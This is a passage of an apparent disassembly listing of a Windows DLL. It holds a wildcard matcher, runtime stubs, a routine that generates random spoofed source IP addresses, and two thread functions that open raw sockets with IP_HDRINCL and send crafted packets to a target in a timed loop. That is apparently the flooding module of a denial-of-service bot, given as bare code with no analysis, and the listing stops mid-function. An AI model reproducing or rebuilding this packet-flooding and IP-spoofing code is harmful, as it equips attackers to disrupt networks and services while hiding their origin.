sub_1000AC90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000ACA2()

sub_1000ACA2	proc near		; DATA XREF: sub_1000AC90+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D150
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_1000ACA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000ACB2	proc near		; CODE XREF: sub_10007424+73Ep
					; sub_1000AEF7+DFp ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 1
		jmp	short loc_1000ACCA
; ---------------------------------------------------------------------------

loc_1000ACC1:				; CODE XREF: sub_1000ACB2:loc_1000AD72j
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax

loc_1000ACCA:				; CODE XREF: sub_1000ACB2+Dj
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	loc_1000AD77
		cmp	[ebp+var_4], 1
		jnz	loc_1000AD77
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	loc_1000AD77
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_8], al
		cmp	[ebp+var_8], 2Ah
		jz	short loc_1000AD35
		cmp	[ebp+var_8], 3Fh
		jz	short loc_1000AD2A
		cmp	[ebp+var_8], 5Bh
		jz	short loc_1000AD0C
		jmp	short loc_1000AD53
; ---------------------------------------------------------------------------

loc_1000AD0C:				; CODE XREF: sub_1000ACB2+56j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		lea	edx, [ebp+arg_4]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_1000ADC4
		add	esp, 8
		mov	[ebp+var_4], eax
		jmp	short loc_1000AD72
; ---------------------------------------------------------------------------

loc_1000AD2A:				; CODE XREF: sub_1000ACB2+50j
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_1000AD72
; ---------------------------------------------------------------------------

loc_1000AD35:				; CODE XREF: sub_1000ACB2+4Aj
		lea	edx, [ebp+arg_4]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_1000AEF7
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_0]
		sub	ecx, 1
		mov	[ebp+arg_0], ecx
		jmp	short loc_1000AD72
; ---------------------------------------------------------------------------

loc_1000AD53:				; CODE XREF: sub_1000ACB2+58j
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		xor	ecx, ecx
		cmp	eax, edx
		setz	cl
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_4]
		add	edx, 1
		mov	[ebp+arg_4], edx

loc_1000AD72:				; CODE XREF: sub_1000ACB2+76j
					; sub_1000ACB2+81j ...
		jmp	loc_1000ACC1
; ---------------------------------------------------------------------------

loc_1000AD77:				; CODE XREF: sub_1000ACB2+20j
					; sub_1000ACB2+2Aj ...
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Ah
		jnz	short loc_1000AD93
		cmp	[ebp+var_4], 1
		jnz	short loc_1000AD93
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_1000AD77
; ---------------------------------------------------------------------------

loc_1000AD93:				; CODE XREF: sub_1000ACB2+CEj
					; sub_1000ACB2+D4j
		cmp	[ebp+var_4], 1
		jnz	short loc_1000ADB6
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_1000ADB6
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_1000ADB6
		mov	[ebp+var_C], 1
		jmp	short loc_1000ADBD
; ---------------------------------------------------------------------------

loc_1000ADB6:				; CODE XREF: sub_1000ACB2+E5j
					; sub_1000ACB2+EFj ...
		mov	[ebp+var_C], 0

loc_1000ADBD:				; CODE XREF: sub_1000ACB2+102j
		mov	eax, [ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000ACB2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000ADC4	proc near		; CODE XREF: sub_1000ACB2+6Bp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_4], 0
		mov	[ebp+var_8], 0
		mov	[ebp+var_C], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 21h
		jnz	short loc_1000AE00
		mov	[ebp+var_8], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_1000AE00:				; CODE XREF: sub_1000ADC4+26j
					; sub_1000ADC4+103j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 5Dh
		jnz	short loc_1000AE17
		cmp	[ebp+var_C], 1
		jnz	loc_1000AECC

loc_1000AE17:				; CODE XREF: sub_1000ADC4+47j
		cmp	[ebp+var_4], 0
		jnz	loc_1000AEB3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Dh
		jnz	short loc_1000AE98
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx-1]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	eax, byte ptr [ecx+1]
		cmp	edx, eax
		jge	short loc_1000AE98
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 5Dh
		jz	short loc_1000AE98
		cmp	[ebp+var_C], 0
		jnz	short loc_1000AE98
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	ecx, byte ptr [edx-1]
		cmp	eax, ecx
		jl	short loc_1000AE96
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		movsx	edx, byte ptr [eax+1]
		cmp	ecx, edx
		jg	short loc_1000AE96
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_1000AE96:				; CODE XREF: sub_1000ADC4+A7j
					; sub_1000ADC4+BCj
		jmp	short loc_1000AEB3
; ---------------------------------------------------------------------------

loc_1000AE98:				; CODE XREF: sub_1000ADC4+68j
					; sub_1000ADC4+7Ej ...
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		movsx	eax, byte ptr [ecx]
		cmp	edx, eax
		jnz	short loc_1000AEB3
		mov	[ebp+var_4], 1

loc_1000AEB3:				; CODE XREF: sub_1000ADC4+57j
					; sub_1000ADC4:loc_1000AE96j ...
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	[ebp+var_C], 0
		jmp	loc_1000AE00
; ---------------------------------------------------------------------------

loc_1000AECC:				; CODE XREF: sub_1000ADC4+4Dj
		cmp	[ebp+var_8], 1
		jnz	short loc_1000AEDD
		mov	ecx, 1
		sub	ecx, [ebp+var_4]
		mov	[ebp+var_4], ecx

loc_1000AEDD:				; CODE XREF: sub_1000ADC4+10Cj
		cmp	[ebp+var_4], 1
		jnz	short loc_1000AEF0
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax

loc_1000AEF0:				; CODE XREF: sub_1000ADC4+11Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_1000ADC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000AEF7	proc near		; CODE XREF: sub_1000ACB2+8Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx

loc_1000AF11:				; CODE XREF: sub_1000AEF7+67j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_1000AF60
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Fh
		jz	short loc_1000AF37
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Ah
		jnz	short loc_1000AF60

loc_1000AF37:				; CODE XREF: sub_1000AEF7+31j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 3Fh
		jnz	short loc_1000AF51
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_4]
		mov	[edx], ecx

loc_1000AF51:				; CODE XREF: sub_1000AEF7+4Bj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_1000AF11
; ---------------------------------------------------------------------------

loc_1000AF60:				; CODE XREF: sub_1000AEF7+24j
					; sub_1000AEF7+3Ej ...
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 2Ah
		jnz	short loc_1000AF7C
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx
		jmp	short loc_1000AF60
; ---------------------------------------------------------------------------

loc_1000AF7C:				; CODE XREF: sub_1000AEF7+74j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_1000AFA3
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_1000AFA3
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_4]
		jmp	loc_1000B098
; ---------------------------------------------------------------------------

loc_1000AFA3:				; CODE XREF: sub_1000AEF7+8Fj
					; sub_1000AEF7+9Bj
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_1000AFCA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_1000AFCA
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_4]
		jmp	loc_1000B098
; ---------------------------------------------------------------------------

loc_1000AFCA:				; CODE XREF: sub_1000AEF7+B6j
					; sub_1000AEF7+C2j
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		push	eax
		call	sub_1000ACB2
		add	esp, 8
		test	eax, eax
		jnz	loc_1000B076

loc_1000AFE6:				; CODE XREF: sub_1000AEF7+179j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		add	edx, 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edx

loc_1000AFF3:				; CODE XREF: sub_1000AEF7+136j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		movsx	ecx, byte ptr [edx]
		cmp	eax, ecx
		jz	short loc_1000B02F
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 5Bh
		jz	short loc_1000B02F
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_1000B02F
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		jmp	short loc_1000AFF3
; ---------------------------------------------------------------------------

loc_1000B02F:				; CODE XREF: sub_1000AEF7+10Ej
					; sub_1000AEF7+11Bj ...
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_1000B059
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		push	edx
		call	sub_1000ACB2
		add	esp, 8
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_8], eax
		jmp	short loc_1000B06C
; ---------------------------------------------------------------------------

loc_1000B059:				; CODE XREF: sub_1000AEF7+142j
		mov	[ebp+var_4], 0
		xor	eax, eax
		cmp	[ebp+var_4], 0
		setnz	al
		mov	[ebp+var_8], eax

loc_1000B06C:				; CODE XREF: sub_1000AEF7+160j
		cmp	[ebp+var_8], 0
		jnz	loc_1000AFE6

loc_1000B076:				; CODE XREF: sub_1000AEF7+E9j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_1000B095
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jnz	short loc_1000B095
		mov	[ebp+var_4], 1

loc_1000B095:				; CODE XREF: sub_1000AEF7+189j
					; sub_1000AEF7+195j
		mov	eax, [ebp+var_4]

loc_1000B098:				; CODE XREF: sub_1000AEF7+A7j
					; sub_1000AEF7+CEj
		mov	esp, ebp
		pop	ebp
		retn
sub_1000AEF7	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000B0A0	proc near		; DATA XREF: .data:1000E06Co
		push	ebp
		mov	ebp, esp
		call	sub_1000B0AF
		call	sub_1000B0BF
		pop	ebp
		retn
sub_1000B0A0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000B0AF	proc near		; CODE XREF: sub_1000B0A0+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D159
		call	ds:??0Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::Init(void)
		pop	ebp
		retn
sub_1000B0AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000B0BF	proc near		; CODE XREF: sub_1000B0A0+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000B0D1 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000B0BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000B0D1()

sub_1000B0D1	proc near		; DATA XREF: sub_1000B0BF+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D159
		call	ds:??1Init@ios_base@std@@QAE@XZ	; std::ios_base::Init::~Init(void)
		pop	ebp
		retn
sub_1000B0D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000B0E1	proc near		; DATA XREF: .data:1000E070o
		push	ebp
		mov	ebp, esp
		call	sub_1000B0F0
		call	sub_1000B100
		pop	ebp
		retn
sub_1000B0E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000B0F0	proc near		; CODE XREF: sub_1000B0E1+3p
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D158
		call	ds:??0_Winit@std@@QAE@XZ ; std::_Winit::_Winit(void)
		pop	ebp
		retn
sub_1000B0F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000B100	proc near		; CODE XREF: sub_1000B0E1+8p
		push	ebp
		mov	ebp, esp
		push	offset sub_1000B112 ; void (__cdecl *)()
		call	_atexit
		add	esp, 4
		pop	ebp
		retn
sub_1000B100	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; void __cdecl sub_1000B112()

sub_1000B112	proc near		; DATA XREF: sub_1000B100+3o
		push	ebp
		mov	ebp, esp
		mov	ecx, offset byte_1002D158
		call	ds:??1_Winit@std@@QAE@XZ ; std::_Winit::~_Winit(void)
		pop	ebp
		retn
sub_1000B112	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000B122	proc near		; CODE XREF: sub_1000B205+178p
					; sub_1000B442+1C8p ...

cp		= byte ptr -20h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_10]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	edx, [ebp+var_8]
		push	edx
		lea	eax, [ebp+var_4]
		push	eax
		push	offset aD_D_D_D_7 ; "%d.%d.%d.%d"
		push	offset byte_1002C5D8 ; Src
		call	ds:sscanf	; sscanf
		add	esp, 18h

loc_1000B14B:				; CODE XREF: sub_1000B122+CFj
		mov	ecx, [ebp+arg_0]
		and	ecx, 0FFh
		test	ecx, ecx
		jz	short loc_1000B1AE
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		push	eax
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		push	eax
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		push	eax
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		push	eax
		push	offset aD_D_D_D_8 ; "%d.%d.%d.%d"
		push	10h		; Count
		lea	edx, [ebp+cp]
		push	edx		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch
		jmp	short loc_1000B1DE
; ---------------------------------------------------------------------------

loc_1000B1AE:				; CODE XREF: sub_1000B122+34j
		push	0FFh
		push	0
		call	sub_10004608
		add	esp, 8
		push	eax
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		push	offset aD_D_D_D_9 ; "%d.%d.%d.%d"
		push	10h		; Count
		lea	eax, [ebp+cp]
		push	eax		; Dest
		call	ds:_snprintf	; _snprintf
		add	esp, 1Ch

loc_1000B1DE:				; CODE XREF: sub_1000B122+8Aj
		lea	ecx, [ebp+cp]
		push	ecx		; Str2
		push	offset byte_1002C5D8 ; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jz	loc_1000B14B
		lea	edx, [ebp+cp]
		push	edx		; cp
		call	ds:inet_addr	; inet_addr
		mov	esp, ebp
		pop	ebp
		retn
sub_1000B122	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; DWORD	__stdcall sub_1000B205(LPVOID)

sub_1000B205	proc near		; DATA XREF: sub_10007424+1127o

s		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
optval		= byte ptr -2C8h
var_2C4		= dword	ptr -2C4h
to		= sockaddr ptr -2C0h
var_2B0		= dword	ptr -2B0h
var_2AC		= dword	ptr -2ACh
var_2A8		= dword	ptr -2A8h
name		= byte ptr -2A4h
var_224		= byte ptr -224h
buf		= byte ptr -21Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		push	esi
		push	edi
		mov	dword ptr [ebp+optval],	1
		mov	esi, [ebp+arg_0]
		mov	ecx, 24h
		lea	edi, [ebp+var_2AC]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_2C4], eax
		mov	ecx, [ebp+var_2C4]
		mov	byte ptr [ecx+89h], 1
		call	ds:GetTickCount	; GetTickCount
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		lea	edx, [ebp+name]
		push	edx		; Src
		call	sub_10004BF7
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_1000B27D
		lea	eax, [ebp+name]
		push	eax		; cp
		call	ds:inet_addr	; inet_addr
		mov	[ebp+var_2D0], eax
		jmp	short loc_1000B292
; ---------------------------------------------------------------------------

loc_1000B27D:				; CODE XREF: sub_1000B205+61j
		lea	ecx, [ebp+name]
		push	ecx		; name
		call	sub_10004763
		add	esp, 4
		mov	[ebp+var_2D0], eax

loc_1000B292:				; CODE XREF: sub_1000B205+76j
		cmp	[ebp+var_2D0], 0
		jnz	short loc_1000B2A3
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B2A3:				; CODE XREF: sub_1000B205+94j
		push	0		; protocol
		push	3		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jnz	short loc_1000B2D7
		push	1
		mov	edx, [ebp+var_2AC]
		push	edx
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B2D7:				; CODE XREF: sub_1000B205+B7j
		push	4		; optlen
		lea	eax, [ebp+optval]
		push	eax		; optval
		push	2		; optname
		push	0		; level
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:setsockopt	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1000B31C
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		push	1
		mov	eax, [ebp+var_2AC]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B31C:				; CODE XREF: sub_1000B205+EFj
		mov	[ebp+to.sa_family], 2
		mov	word ptr [ebp+to.sa_data], 0
		mov	ecx, [ebp+var_2D0]
		mov	dword ptr [ebp+to.sa_data+2], ecx
		push	8		; Size
		push	0		; Val
		lea	edx, [ebp+to.sa_data+6]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_2CC], eax

loc_1000B362:				; CODE XREF: sub_1000B205:loc_1000B40Fj
		mov	edx, 1
		test	edx, edx
		jz	loc_1000B414
		mov	eax, [ebp+var_2D0]
		push	eax
		mov	cl, [ebp+var_224]
		push	ecx
		call	sub_1000B122
		add	esp, 4
		push	eax
		lea	edx, [ebp+buf]
		push	edx
		call	sub_10006A3B
		add	esp, 0Ch
		push	10h		; tolen
		lea	eax, [ebp+to]
		push	eax		; to
		push	0		; flags
		push	21Ch		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1000B3E4
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		push	1
		mov	ecx, [ebp+var_2AC]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B3E4:				; CODE XREF: sub_1000B205+1B7j
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		sub	eax, [ebp+var_2CC]
		mov	[ebp+var_2B0], eax
		mov	edx, [ebp+var_2B0]
		cmp	edx, [ebp+var_2A8]
		jl	short loc_1000B40F
		jmp	short loc_1000B414
; ---------------------------------------------------------------------------

loc_1000B40F:				; CODE XREF: sub_1000B205+206j
		jmp	loc_1000B362
; ---------------------------------------------------------------------------

loc_1000B414:				; CODE XREF: sub_1000B205+164j
					; sub_1000B205+208j
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		push	1
		mov	ecx, [ebp+var_2AC]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
sub_1000B205	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame

; DWORD	__stdcall sub_1000B442(LPVOID)

sub_1000B442	proc near		; DATA XREF: sub_10007424+1281o

var_2D8		= word ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
name		= byte ptr -2CAh
var_24A		= byte ptr -24Ah
s		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
optval		= byte ptr -238h
var_234		= dword	ptr -234h
to		= sockaddr ptr -230h
var_220		= dword	ptr -220h
buf		= byte ptr -21Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D8h
		push	esi
		push	edi
		mov	dword ptr [ebp+optval],	1
		mov	esi, [ebp+arg_0]
		mov	ecx, 24h
		lea	edi, [ebp+var_2D4]
		rep movsd
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_234], eax
		mov	ecx, [ebp+var_234]
		mov	byte ptr [ecx+8Bh], 1
		call	ds:GetTickCount	; GetTickCount
		push	eax		; Seed
		call	ds:srand	; srand
		add	esp, 4
		lea	edx, [ebp+name]
		push	edx		; Src
		call	sub_10004BF7
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_1000B4BA
		lea	eax, [ebp+name]
		push	eax		; cp
		call	ds:inet_addr	; inet_addr
		mov	[ebp+var_240], eax
		jmp	short loc_1000B4CF
; ---------------------------------------------------------------------------

loc_1000B4BA:				; CODE XREF: sub_1000B442+61j
		lea	ecx, [ebp+name]
		push	ecx		; name
		call	sub_10004763
		add	esp, 4
		mov	[ebp+var_240], eax

loc_1000B4CF:				; CODE XREF: sub_1000B442+76j
		cmp	[ebp+var_240], 0
		jnz	short loc_1000B4E0
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B4E0:				; CODE XREF: sub_1000B442+94j
		push	0		; protocol
		push	3		; type
		push	2		; af
		call	ds:socket	; socket
		mov	[ebp+s], eax
		cmp	[ebp+s], 0FFFFFFFFh
		jnz	short loc_1000B514
		push	1
		mov	edx, [ebp+var_2D4]
		push	edx
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B514:				; CODE XREF: sub_1000B442+B7j
		push	4		; optlen
		lea	eax, [ebp+optval]
		push	eax		; optval
		push	2		; optname
		push	0		; level
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:setsockopt	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1000B559
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:closesocket	; closesocket
		push	1
		mov	eax, [ebp+var_2D4]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B559:				; CODE XREF: sub_1000B442+EFj
		mov	[ebp+to.sa_family], 2
		mov	word ptr [ebp+to.sa_data], 0
		mov	ecx, [ebp+var_240]
		mov	dword ptr [ebp+to.sa_data+2], ecx
		push	8		; Size
		push	0		; Val
		lea	edx, [ebp+to.sa_data+6]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_23C], eax

loc_1000B59F:				; CODE XREF: sub_1000B442:loc_1000B69Cj
		mov	edx, 1
		test	edx, edx
		jz	loc_1000B6A1
		mov	eax, [ebp-2CCh]
		and	eax, 0FFFFh
		test	eax, eax
		jz	short loc_1000B5CF
		mov	ecx, [ebp-2CCh]
		and	ecx, 0FFFFh
		mov	dword ptr [ebp+var_2D8], ecx
		jmp	short loc_1000B5E4
; ---------------------------------------------------------------------------

loc_1000B5CF:				; CODE XREF: sub_1000B442+177j
		push	0FFFFh
		push	1
		call	sub_10004608
		add	esp, 8
		mov	dword ptr [ebp+var_2D8], eax

loc_1000B5E4:				; CODE XREF: sub_1000B442+18Bj
		mov	dx, [ebp+var_2D8]
		push	edx		; __int16
		push	0FFFFh
		push	1
		call	sub_10004608
		add	esp, 8
		push	eax		; hostshort
		mov	eax, [ebp+var_240]
		push	eax		; int
		mov	cl, [ebp+var_24A]
		push	ecx
		call	sub_1000B122
		add	esp, 4
		push	eax		; int
		lea	edx, [ebp+buf]
		push	edx		; int
		call	sub_10006BAC
		add	esp, 14h
		push	10h		; tolen
		lea	eax, [ebp+to]
		push	eax		; to
		push	0		; flags
		push	21Ch		; len
		lea	ecx, [ebp+buf]
		push	ecx		; buf
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
